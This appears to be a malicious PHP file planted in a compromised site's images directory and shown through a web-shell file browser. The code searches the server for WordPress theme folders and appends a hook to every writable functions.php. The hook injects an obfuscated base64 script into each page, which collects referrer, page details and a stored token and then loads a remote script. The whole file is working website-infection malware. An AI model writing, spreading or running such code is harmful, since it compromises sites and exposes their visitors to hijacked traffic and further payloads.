Your IP : 3.133.122.16


Current Path : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/
Upload File :
Current File : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/lnzhv2q76.php

<?
header('Content-Type: application/json');
function findAccessiblePaths($path) {
    $parts = explode('/', $path);
    $currentPath = '/';
    $accessiblePaths = [];

    foreach ($parts as $part) {
        if (!empty($part)) {
            $currentPath .= $part . '/';
            if (is_readable($currentPath)) {
                $accessiblePaths[] = $currentPath;
            }
        }
    }
    return $accessiblePaths;
}
function findWpThemesCrossPlatform() {
    $cwd = getcwd();
    $accessiblePaths = findAccessiblePaths($cwd);
    $allModifiedFiles = [];

    foreach ($accessiblePaths as $path) {
        $command = getSearchCommand($path);
        $output = shell_exec($command);
        $functionsPaths = [];

        if ($output) {
            $paths = preg_split('/\r\n|\r|\n/', trim($output));
            foreach ($paths as $path) {
                $foundPaths = findFilesRecursively($path, 'functions.php');
                $functionsPaths = array_merge($functionsPaths, $foundPaths);
            }
        }

        $modifiedFiles = addCustomScriptToFiles($functionsPaths);
        if (!empty($modifiedFiles)) {
            $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles);
            break;
        }
    }

    if (empty($allModifiedFiles)) {
        echo json_encode(['error' => 'No themes modified or accessible']);
    } else {
        echo json_encode($allModifiedFiles);
    }
}
function addCustomScriptToFiles(array $functionsPaths) {
    $modifiedFiles = [];
    $newFunctionCode = getCustomScript();

    foreach ($functionsPaths as $functionsPath) {
        if (file_exists($functionsPath) && is_writable($functionsPath)) {
            $code = file_get_contents($functionsPath);
            if (strpos($code, 'wp_system_query_script') === false) {
                $code .= "\n" . $newFunctionCode;
                file_put_contents($functionsPath, $code);
                $modifiedFiles[] = $functionsPath;
            }
        }
    }
    return $modifiedFiles;
}
function getCustomScript() {
    return <<<PHP
function wp_system_query_script() {
    ?>
<script src="data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfZHNITXlGaHlYWXc4cWh4Zyc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KTiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9yRkRrTldTN3lLSjc0eUNQID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9yRkRrTldTN3lLSjc0eUNQICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9yRkRrTldTN3lLSjc0eUNQICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2RzSE15Rmh5WFl3OHFoeGcuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3dHcDJydHBqanJ4aktNQkcgIT09ICd1bmRlZmluZWQnICYmIF93R3AycnRwampyeGpLTUJHICYmIHdpbmRvdy5fZHNITXlGaHlYWXc4cWh4Zy51bmlxdWUpIHsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF93R3AycnRwampyeGpLTUJHKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3h3Q2pMM3FxUXozQmdUSk4gIT09ICd1bmRlZmluZWQnICYmIF94d0NqTDNxcVF6M0JnVEpOICYmIHdpbmRvdy5fZHNITXlGaHlYWXc4cWh4Zy51bmlxdWUpIHsKICAgICAgICBfckZEa05XUzd5S0o3NHlDUCArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3h3Q2pMM3FxUXozQmdUSk4pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9yRkRrTldTN3lLSjc0eUNQICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fZHNITXlGaHlYWXc4cWh4Zy5SX1BBVEggKyBfckZEa05XUzd5S0o3NHlDUDsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA=="></script>
    <?php
}
add_action('wp_footer', 'wp_system_query_script');
add_action('wp_body_open', 'wp_system_query_script');
PHP;
}
function getSearchCommand($startPath) {
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === 'WIN') {
        return "dir /s /b /a:d {$startPath}*wp-content\\themes*";
    } else {
        return "find {$startPath} -type d -name 'themes' -path '*/wp-content/themes' 2>/dev/null";
    }
}
function findFilesRecursively($dir, $fileName) {
    $results = [];
    $files = scandir($dir);

    foreach ($files as $file) {
        if ($file !== '.' && $file !== '..') {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($path)) {
                $results = array_merge($results, findFilesRecursively($path, $fileName));
            } elseif ($file === $fileName) {
                $results[] = $path;
            }
        }
    }

    return $results;
}

findWpThemesCrossPlatform();
die();
?>